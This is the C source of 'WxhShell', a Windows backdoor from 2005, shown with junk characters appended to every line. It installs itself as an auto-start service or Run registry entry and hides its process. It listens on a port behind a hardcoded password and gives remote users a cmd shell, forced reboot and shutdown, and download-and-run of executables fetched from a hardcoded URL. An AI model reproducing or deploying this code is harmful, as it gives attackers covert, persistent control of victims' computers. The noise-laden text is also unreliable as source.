    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]m0MbA  
    if(Boot(SHUTDOWN)) bg$df 0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `.PZx%=  
    else { E]PHO\f-m}  
    closesocket(wsh); 7T \}nX1  
    ExitThread(0); CrHH Ob  
    } a}l^+  
    break; !@E=\Sm8EV  
    } RH+3x7 l  
  // 获取shell 7o?6Pv%HJC  
  case 's': { fDo )~t*~  
    CmdShell(wsh); `PI,tmv!  
    closesocket(wsh); WZ}c)r*R  
    ExitThread(0); "qEHK;  
    break; yE3g0@*  
  } mO$]f4}  
  // 退出 &E.ckWf  
  case 'x': { z@hlN3dg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Yrp WGK520  
    CloseIt(wsh); i>gbT+*E!  
    break; GJW>8*&&(  
    } Hf P2o5-  
  // 离开 +JE h7  
  case 'q': { A@^e 4\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /I~iUND"G  
    closesocket(wsh); @A(*&PU>j  
    WSACleanup(); 56(S[  
    exit(1); =>".  
    break; 8 /Z  
        } Nq>74q]}n8  
  } Ct[{>asun  
  } xcO Si>  
m_~!Lj[u.  
  // 提示信息 E )D*~2o/  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l ,0]iVJ  
} pv%UsbY  
  } e2|2$|  
f1F#U @U  
  return; $5aRu,  
} T 'pX)ZH  
Kx.I'_Qk  
// shell模块句柄 =\Td~>  
int CmdShell(SOCKET sock) ks=j v:  
{ %<%ef+*  
STARTUPINFO si; xcfEL_'o  
ZeroMemory(&si,sizeof(si)); l0Wp%T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h%MjVuLn  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; " SkTVqm  
PROCESS_INFORMATION ProcessInfo; ?.#?h>MS{s  
char cmdline[]="cmd"; M{$EJS\d=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b`N0lH.V  
  return 0; >pjmVl w?  
} >x0"gh  
-7)%J+5  
// 自身启动模式 'r6s5 WC  
int StartFromService(void) MKSiOM  
{ fvKb0cIx]  
typedef struct \O 9j+L"  
{ ikf6Y$nWfF  
  DWORD ExitStatus; R%iyNK,  
  DWORD PebBaseAddress; 4bD^Kc 4\  
  DWORD AffinityMask; 1wpT"5B  
  DWORD BasePriority; 26|2r  
  ULONG UniqueProcessId; ?qwTOi  
  ULONG InheritedFromUniqueProcessId; cA_77#<8  
}   PROCESS_BASIC_INFORMATION; mZ sftby}  
o9-b!I2  
PROCNTQSIP NtQueryInformationProcess; BE/#=$wPjM  
[r%WVf.#d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; qCg`"/0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 24Lo .  
] fz0E:x  
  HANDLE             hProcess; iK{ a9pt  
  PROCESS_BASIC_INFORMATION pbi; a]^hcKo4  
fNOsB^Y  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Gqvnc8V&  
  if(NULL == hInst ) return 0; |FS,Av  
t?H.M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kBYZNjSz  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UD6D![e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '3B`4W,  
F/z$jj)  
  if (!NtQueryInformationProcess) return 0; L<bZVocOb_  
Onoi^MDy  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NQzpgf|h  
  if(!hProcess) return 0; v2R41*z,  
%KL"f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; y&T(^EA;  
`pS<v.L3  
  CloseHandle(hProcess); 6@kKr  
4Eh 2sI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Srw ciF  
if(hProcess==NULL) return 0; N=hr%{} c  
4/; X-  
HMODULE hMod; ' O1X+  
char procName[255]; #@xSR:m  
unsigned long cbNeeded; `k~.>#  
2*:lFv wP  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1jU<]09.  
$!P(Q  
  CloseHandle(hProcess); (as'(+B  
??tyz4$;  
if(strstr(procName,"services")) return 1; // 以服务启动 w5,p9f}.  
]37k\O?vd  
  return 0; // 注册表启动 7n W*3(  
} uJVu:E.#1  
EacqQFErl  
// 主模块 i-oi?x<u&(  
int StartWxhshell(LPSTR lpCmdLine) KfpDPwP@  
{ OU+oS,  
  SOCKET wsl; m[S6pqz  
BOOL val=TRUE; -'& 4No  
  int port=0; u=B_cA}:  
  struct sockaddr_in door; QF:">G  
H'68K8i0  
  if(wscfg.ws_autoins) Install(); 5HP6o  
?d`?Ss;v  
port=atoi(lpCmdLine); ZzfGs  
|0nbO2}  
if(port<=0) port=wscfg.ws_port; -N`j` zb|  
gI rVrAV#  
  WSADATA data; OMG.64DX .  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p-n_ ">7  
.-[uQtyWW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n\k6UD  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AD$k`Cj  
  door.sin_family = AF_INET; o"D`_ER  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rz% Px:M  
  door.sin_port = htons(port); }m NP[L  
m)4s4P57y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .m_yx{FZ=  
closesocket(wsl); 5Gm,lNQAv  
return 1; envu}4wU=e  
} pC,MiV$c"  
"-JJ6Bk  
  if(listen(wsl,2) == INVALID_SOCKET) { pnin;;D*  
closesocket(wsl); 5P_%Vp`B2  
return 1; cF{5[?wS  
} xzF@v>2S+  
  Wxhshell(wsl); t6p}LNm(V  
  WSACleanup(); pQr `$:ga  
xi=Z<G  
return 0; JzH\_,,  
-DDH)VO  
} +f/G2qY!t  
WHxq-&=  
// 以NT服务方式启动 /zZ$<mVG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z:f[<`,GT  
{ tK)E*!  
DWORD   status = 0; *k'D%}N:  
  DWORD   specificError = 0xfffffff; <%klrQya  
vU Bk oC2Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |__\Vn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VgG*y#Qf$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #mY*H^jI]~  
  serviceStatus.dwWin32ExitCode     = 0; UP=0>jjbn:  
  serviceStatus.dwServiceSpecificExitCode = 0; @2Xw17[f35  
  serviceStatus.dwCheckPoint       = 0; Wj2]1A  
  serviceStatus.dwWaitHint       = 0; Z\8TpwD2  
-E~pCN(E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~6!{\un   
  if (hServiceStatusHandle==0) return; !` S ?  
|,CWk|G  
status = GetLastError(); i/QE)"B"q  
  if (status!=NO_ERROR) eaP,MkK&  
{ b,kXV<KtU  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Rb=T'x'  
    serviceStatus.dwCheckPoint       = 0; V D+TJ` r  
    serviceStatus.dwWaitHint       = 0; |GgFdn`>  
    serviceStatus.dwWin32ExitCode     = status; ?_36uJo}  
    serviceStatus.dwServiceSpecificExitCode = specificError; "e62g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); NYtp&[s2-  
    return; s>d@=P>R  
  } 5|YpkY  
dn/0>|5OF(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [?u iM^&  
  serviceStatus.dwCheckPoint       = 0; , Zs:e.  
  serviceStatus.dwWaitHint       = 0; GKdQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OI;0dS  
} yQb^]|XG  
v3 4!rL  
// 处理NT服务事件,比如:启动、停止 7eb^^a?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %g7 !4  
{ 9`4mvK/@  
switch(fdwControl) H@0i}!U64  
{ 2\&uO   
case SERVICE_CONTROL_STOP: K(RG:e~R0i  
  serviceStatus.dwWin32ExitCode = 0; ]~~PD?jh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UO^"<0u  
  serviceStatus.dwCheckPoint   = 0; vk\a>};  
  serviceStatus.dwWaitHint     = 0; hnha1 f  
  { 7z!|sPW](b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y$SZqW0!/  
  } ecIxiv\  
  return; PY=(|2tb4  
case SERVICE_CONTROL_PAUSE: |@KW~YlE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ZrJAfd\5c  
  break; `.Z MwA  
case SERVICE_CONTROL_CONTINUE: B6&PYMFK?*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^qXc%hjg  
  break; '5zolp%St  
case SERVICE_CONTROL_INTERROGATE: IB#L5yN r  
  break; `hYj0:*)S$  
}; T7vilfO5G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u50 o1^<X  
} b%<-(o/  
bL\ab  
// 标准应用程序主函数 O'y8[<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yHL2 !  
{ E5"%-fAJ  
b:Oa4vBa  
// 获取操作系统版本 8'J"+TsOW  
OsIsNt=GetOsVer(); g[<K FVlG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CDcZ6.f  
c!l=09a~a+  
  // 从命令行安装 }$5S@,  
  if(strpbrk(lpCmdLine,"iI")) Install(); t_1(Ex  
.s-X %%e\  
  // 下载执行文件 2lNZwV7  
if(wscfg.ws_downexe) { rn3GBWC_C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rvjPm5[t  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9^ITP!~e*  
} b^b@W^\hn  
Hq'mv_}qG  
if(!OsIsNt) { P)x&9OHV  
// 如果时win9x,隐藏进程并且设置为注册表启动 %>^CD_[eO  
HideProc(); 0NlC|5ma)  
StartWxhshell(lpCmdLine); LAqmM3{fA  
} @Bs7kjuX  
else A?[06R5E#  
  if(StartFromService()) !}7FC>Cx  
  // 以服务方式启动 z0[_5Cm/  
  StartServiceCtrlDispatcher(DispatchTable); u|prVzm\m  
else iX4?5yz~<  
  // 普通方式启动 4DaLt&1  
  StartWxhshell(lpCmdLine); n$B SO  
';"W0  
return 0; %D|p7&  
}  ,r\  
O ;,BzA-n  
:%ms6j/B&V  
Sx{vZS3  
=========================================== J8Bz|.@Q  
L{_Q%!h3]  
_7df(+.{<A  
Tjba @^T  
7=yV8.cD  
Zd$a}~4~  
" ,h1 z8.wD|  
feg  
#include <stdio.h> !DgN@P.o  
#include <string.h> o%dKi]  
#include <windows.h> D"kss5>w  
#include <winsock2.h> "b)Y5[nW  
#include <winsvc.h> <1i:Z*l.  
#include <urlmon.h> r(=  
yH}(0  
#pragma comment (lib, "Ws2_32.lib") t){})nZ/4  
#pragma comment (lib, "urlmon.lib") dq d:V$o  
m$b5Vqq  
#define MAX_USER   100 // 最大客户端连接数 8Mx+tA  
#define BUF_SOCK   200 // sock buffer z0=(l?)#  
#define KEY_BUFF   255 // 输入 buffer 9K~0:c  
h/`]=kCl  
#define REBOOT     0   // 重启 =[]V$<G'w{  
#define SHUTDOWN   1   // 关机 o@SL0H-6|  
wuRB[KLe  
#define DEF_PORT   5000 // 监听端口 -E, d)O`;$  
M\4pTcz{  
#define REG_LEN     16   // 注册表键长度 SMX70T!'9  
#define SVC_LEN     80   // NT服务名长度 3$x[{\ {  
N|t!G^rP  
// 从dll定义API D c5tRO  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); >TZ 'V,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iveJh2!#<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (C{l4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @~t^zI1  
1Pya\To,m  
// wxhshell配置信息 _:(RkS!x  
struct WSCFG { OR84/^>  
  int ws_port;         // 监听端口 2% ],0,o  
  char ws_passstr[REG_LEN]; // 口令 @PH`Wn#S  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ht >5R  
  char ws_regname[REG_LEN]; // 注册表键名 KO*# ^+g  
  char ws_svcname[REG_LEN]; // 服务名 z$#q'+$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5q<cZ)v#&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NX wthc3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \YXzq<7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tOUpK20q.@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |qUi9#NUo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 25e*W>SLw  
OH.lAF4E(  
}; 'OrGt_U  
7 'T3W c  
// default Wxhshell configuration (i..7B:  
struct WSCFG wscfg={DEF_PORT, ylFoYROO  
    "xuhuanlingzhe", \gz(C`4{j  
    1, ..FEyf  
    "Wxhshell", $7J9Yzp?L  
    "Wxhshell", 2HA-q),6  
            "WxhShell Service", {owXyQ2mK  
    "Wrsky Windows CmdShell Service", rlUo#  
    "Please Input Your Password: ", q<Tx'Ya  
  1, #bI ,;]T  
  "http://www.wrsky.com/wxhshell.exe", 6z-ZJ|?  
  "Wxhshell.exe" NUSb7<s,&Y  
    }; D\13fjjHlu  
V\1pn7~V  
// 消息定义模块 dnEIR5%+.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; :V,agAMn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; (!cG*FrN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 4gR;,%E\TO  
char *msg_ws_ext="\n\rExit."; +Tf4SJ  
char *msg_ws_end="\n\rQuit.";  %XF>k)  
char *msg_ws_boot="\n\rReboot..."; B/Jz$D  
char *msg_ws_poff="\n\rShutdown..."; h7 r *5E  
char *msg_ws_down="\n\rSave to "; }4Q~<2  
3?%?J^/a  
char *msg_ws_err="\n\rErr!"; ]1Wh3C  
char *msg_ws_ok="\n\rOK!"; <8J_[ S  
CjRU3 (Q  
char ExeFile[MAX_PATH]; N.~zQVO#R  
int nUser = 0; -hd@<+;E  
HANDLE handles[MAX_USER]; #BLx +mLq  
int OsIsNt; pL [JGn  
\&!qw[;O  
SERVICE_STATUS       serviceStatus; k-V3l  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &\Ze<u  
]Rk4"i  
// 函数声明 ` x|=vu-  
int Install(void); ;?h+8Z/{  
int Uninstall(void); #gq!L  
int DownloadFile(char *sURL, SOCKET wsh); I$0O4  
int Boot(int flag); T]_]{%z  
void HideProc(void); VTUY#+3  
int GetOsVer(void);  cFD3  
int Wxhshell(SOCKET wsl); l('@~-Zy  
void TalkWithClient(void *cs); f (Su  
int CmdShell(SOCKET sock); (IXUT6|  
int StartFromService(void); 5eLm  
int StartWxhshell(LPSTR lpCmdLine); =&K8~   
1 ORA6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GQH15_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;T\+TZtI  
u7/]Go44  
// 数据结构和表定义 ''Y'ZsQ;  
SERVICE_TABLE_ENTRY DispatchTable[] = fxQ4kiI  
{ <9dfbI)  
{wscfg.ws_svcname, NTServiceMain}, cM_!_8o  
{NULL, NULL} :<P3fW  
}; goqm6L^Cu  
agGgj>DDd  
// 自我安装 #E$*PAB  
int Install(void) Y"  Ut  
{ Y*QoD9<T?;  
  char svExeFile[MAX_PATH]; R wTzS;  
  HKEY key; i5 0c N<o  
  strcpy(svExeFile,ExeFile); h(K}N5`  
O))YJh"'_  
// 如果是win9x系统,修改注册表设为自启动 ?={S"qK(q  
if(!OsIsNt) { 8n,/hY>w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K>vi9,4/ks  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3}}8ukq  
  RegCloseKey(key); ()Q#@?c~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d:Oo5t)MN  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c6T[2Ig  
  RegCloseKey(key); =D&XE*qkZ  
  return 0; 5AK@e|G$w  
    } o1Krp '*  
  } z2lT4SAv+  
} JT! Cb$!  
else { ~p`[z~|  
|ju+{+  
// 如果是NT以上系统,安装为系统服务 b]4\$rW7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A<y]D.Z"  
if (schSCManager!=0) vW-o%u*  
{ n-u HKBq  
  SC_HANDLE schService = CreateService $ ~%w21?&  
  ( 2~l+2..  
  schSCManager, xOx=Z\ c  
  wscfg.ws_svcname, /Un\P   
  wscfg.ws_svcdisp, - -\eYVh[  
  SERVICE_ALL_ACCESS, t52KF#+>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -EJj j {  
  SERVICE_AUTO_START, y(wb?86#W5  
  SERVICE_ERROR_NORMAL, ;efF]")  
  svExeFile, xpJ=yxO  
  NULL, m al?3*x/  
  NULL, I|l5e2j  
  NULL, 9vP#/ -g  
  NULL, t$&'mJ_-w  
  NULL zZW5M^z8  
  ); "%YVAaN  
  if (schService!=0) X%$1%)C9  
  { >K<cc#Aa  
  CloseServiceHandle(schService); [Z2{S-)UM  
  CloseServiceHandle(schSCManager); 8,IQ6Or|-2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1k]L,CX  
  strcat(svExeFile,wscfg.ws_svcname); 5@J]#bp0M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {oS/Xa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6!HYx  
  RegCloseKey(key); <=Saf.  
  return 0; 0 ;].q*|#  
    } |l-O e  
  } V,% K"b=  
  CloseServiceHandle(schSCManager); oE_*hp+  
} 8>9MeDE  
} d)3jkHYEjj  
C[';B)a  
return 1; [ahwJF#r  
} *&tTiv{^  
DS9-i2  
// 自我卸载 (+6N)9rj`/  
int Uninstall(void) [%P[ x]-  
{ ?-~<Vc*  
  HKEY key; Z&4L///  
YCVT0d  
if(!OsIsNt) { 0Y'ow=8M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F-F1^$]k  
  RegDeleteValue(key,wscfg.ws_regname); ;Ea8>  
  RegCloseKey(key); BnfuI  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G^cMY$?99  
  RegDeleteValue(key,wscfg.ws_regname); WFzM s  
  RegCloseKey(key); Y78DYbU.  
  return 0; .2U3_1dX  
  } ]t~'wL#Z  
} ~N/a\%`  
} R )4,f~@"  
else { c[V.j+Iy#^  
?~IdPSY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K2\)9  
if (schSCManager!=0) j/q&qrlL  
{ ;" D~F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %iME[| u&  
  if (schService!=0) BR-wL3x b  
  { 2.=G  
  if(DeleteService(schService)!=0) { y(/5l   
  CloseServiceHandle(schService); o~W,VhCP  
  CloseServiceHandle(schSCManager); BPl% SL  
  return 0; Kv:Rvo  
  } }#; .b'`  
  CloseServiceHandle(schService); *>`6{0, 9  
  } 2ga8 G4dU  
  CloseServiceHandle(schSCManager); 4;>HBCM4-  
} ,j9?9Z7R  
} x%O6/rl  
f& \ Bs8la  
return 1; @ULWVS#t2  
} ZR-64G=L,  
3Agyp89}Q  
// 从指定url下载文件 >]%$lSCW\D  
int DownloadFile(char *sURL, SOCKET wsh) mhOgv\?  
{ @/ nGc9h  
  HRESULT hr; k4!_(X%8  
char seps[]= "/"; Gg]Jp:GF  
char *token; (+cZP&o  
char *file; x]`@%8Sm  
char myURL[MAX_PATH]; Sv0?_3C  
char myFILE[MAX_PATH]; -'L~Y~'.  
.p*?g;  
strcpy(myURL,sURL); AaoS & q  
  token=strtok(myURL,seps); |Ldvfd  
  while(token!=NULL) )''V}Zn.X  
  { EaHJl  
    file=token; uFb 9Ic]`  
  token=strtok(NULL,seps); ( ;^>G[  
  } GQJ4d-w  
hQ!59  
GetCurrentDirectory(MAX_PATH,myFILE); j_~mP>el)  
strcat(myFILE, "\\"); L, #|W  
strcat(myFILE, file); '*&dP"  
  send(wsh,myFILE,strlen(myFILE),0); { o5^nd  
send(wsh,"...",3,0); ;"ESN)*|i  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]NI CQ9  
  if(hr==S_OK) <5 OUk  
return 0; :vx<m_  
else T9!NuKfur  
return 1; om9'A=ZU  
lKQevoy'  
} 5o>*a>27,A  
R".$x{{  
// 系统电源模块 =au!rda  
int Boot(int flag) o)n)Z~  
{ L<3+D  
  HANDLE hToken; 'Ha> >2M  
  TOKEN_PRIVILEGES tkp; 8O(L;&h  
q86}'dFw{  
  if(OsIsNt) { Rg\4#9S JF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %.]#3tW  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MP<]-M'|<  
    tkp.PrivilegeCount = 1; sLJ]N0t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2<p@G#(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _x3=i\O,  
if(flag==REBOOT) { J~om e7L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) QxxPImubB  
  return 0; \>}#[?y  
} &7>]# *  
else { :).NA ]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $w <R".4  
  return 0; 'UxI-L t  
} x{zZ%_F  
  } c2,g %(  
  else { mCk_c  
if(flag==REBOOT) { Q _!tn*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }7b{ZbDI  
  return 0; Lk@+iHf  
} :A!EjIL`#  
else { ZWGX*F#}P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k\;D;e{  
  return 0; T+zhj++  
} )V>zXy}Y  
} y7CO%SA  
?wv3HN  
return 1; OPE+:TvW^  
} eq8faC5  
e!L5 v?  
// win9x进程隐藏模块 #3LZX!  
void HideProc(void) 8v8-5N  
{ -!qjBK,`X  
NIQ}+xpC  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZsXw]Wa  
  if ( hKernel != NULL ) T ,!CDm$=  
  { u,`3_I^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GHn0(o&K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .|g@#XIwe#  
    FreeLibrary(hKernel); Mt`LOdiC_  
  } r(Z?Fs/  
Gf9sexn]l  
return; &Ejhw3Nw  
} B hx.q,X  
mLkp*?sfC  
// 获取操作系统版本 'jE/Tre^  
int GetOsVer(void) ^W%F?#ELN2  
{ fQU_:[ Uz  
  OSVERSIONINFO winfo; y( 22m+B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); IBeorDIZ  
  GetVersionEx(&winfo); YcwDNsk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qUmSB"#Z  
  return 1; 0<uLQVoR2n  
  else yih|6sd$F  
  return 0; ni2 [K`  
} $M0l (htR  
K;rgLj0m  
// 客户端句柄模块 LJb=9tp~  
int Wxhshell(SOCKET wsl) :k`Qj(7S  
{ 2ib,33 Z  
  SOCKET wsh; a'Odw2Q_  
  struct sockaddr_in client; _%Xp2`m  
  DWORD myID; z^T;d^OJc  
IgwHC0W  
  while(nUser<MAX_USER) ,ZrR*W?iF  
{ +e*C`uP!  
  int nSize=sizeof(client); 4|5;nxkGm8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H<q|je}e  
  if(wsh==INVALID_SOCKET) return 1; :BV$3]y  
5Uy *^C7M^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c /^:vTF  
if(handles[nUser]==0) =L1%gQJJ&  
  closesocket(wsh); N TDmOS\,  
else [4YRyx&:++  
  nUser++; SEg{Gso9b  
  } <vV"abk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <3N\OV2  
Tmu2G/yi  
  return 0; 4G;KT~Cgb  
} Lk$Mfm5"M  
R)$]r>YZF  
// 关闭 socket h:C:opa-=  
void CloseIt(SOCKET wsh) AB+lM;_>  
{ 9 ;uw3vI%  
closesocket(wsh); qRcg|']R  
nUser--; l:u1P  
ExitThread(0); XUR#|  
} *KiY+_8>  
F g):>];<9  
// 客户端请求句柄 nTs\zikP  
void TalkWithClient(void *cs) r oG<2i F  
{ 5&L*'kV@  
'x? |tKzd  
  SOCKET wsh=(SOCKET)cs; 8dt=@pwx&  
  char pwd[SVC_LEN]; mRyf+O[  
  char cmd[KEY_BUFF]; +jq@!P"}d  
char chr[1]; =^*EM<WG)  
int i,j; ?y>v"1+  
a Iyzt  
  while (nUser < MAX_USER) { -AVT+RE9z  
)>Z@')Uk:  
if(wscfg.ws_passstr) { Mg8ciV}\xY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~p{YuW[e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]{{%d4  
  //ZeroMemory(pwd,KEY_BUFF); .}+3A~  
      i=0; MZA%ET,l,<  
  while(i<SVC_LEN) { Y:Lkh>S1Q  
*>W6,F7  
  // 设置超时 \}=W*xxB  
  fd_set FdRead; fMW=ss^fu-  
  struct timeval TimeOut; d_Zj W  
  FD_ZERO(&FdRead); m432,8 K3r  
  FD_SET(wsh,&FdRead); 1g,gilc  
  TimeOut.tv_sec=8; 9PO5GYU  
  TimeOut.tv_usec=0; 4XJ']M(5;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G\k&s F  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); KMfRMc&  
o@j!JI&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =Ov,7<8o  
  pwd=chr[0]; 7T!t*sSO'  
  if(chr[0]==0xd || chr[0]==0xa) { eW3?3l`fvt  
  pwd=0; #_3-(H5u  
  break; F2<Q~gQ;  
  } 3|G~_'`RLt  
  i++; 9<P%?Q  
    } @{3_7  
}lJ|nl`c  
  // 如果是非法用户,关闭 socket `2V{]F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LSXsq}  
} 4 PU@W o  
|)O;+e\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y}yh6r;i  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w+!V,lU"^  
R&P^rrC@B5  
while(1) { UN;U+5,t  
TOSk+2P  
  ZeroMemory(cmd,KEY_BUFF); o2]Np~`g,  
94*MRn1E  
      // 自动支持客户端 telnet标准   ) 54cG  
  j=0; _x!/40^G  
  while(j<KEY_BUFF) { }I`o%GL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vt(n: Xk  
  cmd[j]=chr[0]; {Q]7!/>>  
  if(chr[0]==0xa || chr[0]==0xd) { Dp} $q`F[  
  cmd[j]=0; m#6p=E  
  break; 9 v ,y  
  } =ty{ugM<  
  j++; B*QLKO:)i  
    } | ObA=[j  
SST@   
  // 下载文件 gMZrtK`<  
  if(strstr(cmd,"http://")) { K3rsew n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7eZwpg?K  
  if(DownloadFile(cmd,wsh)) pg<c vok  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .)FFl  
  else %5Elj<eHZ  
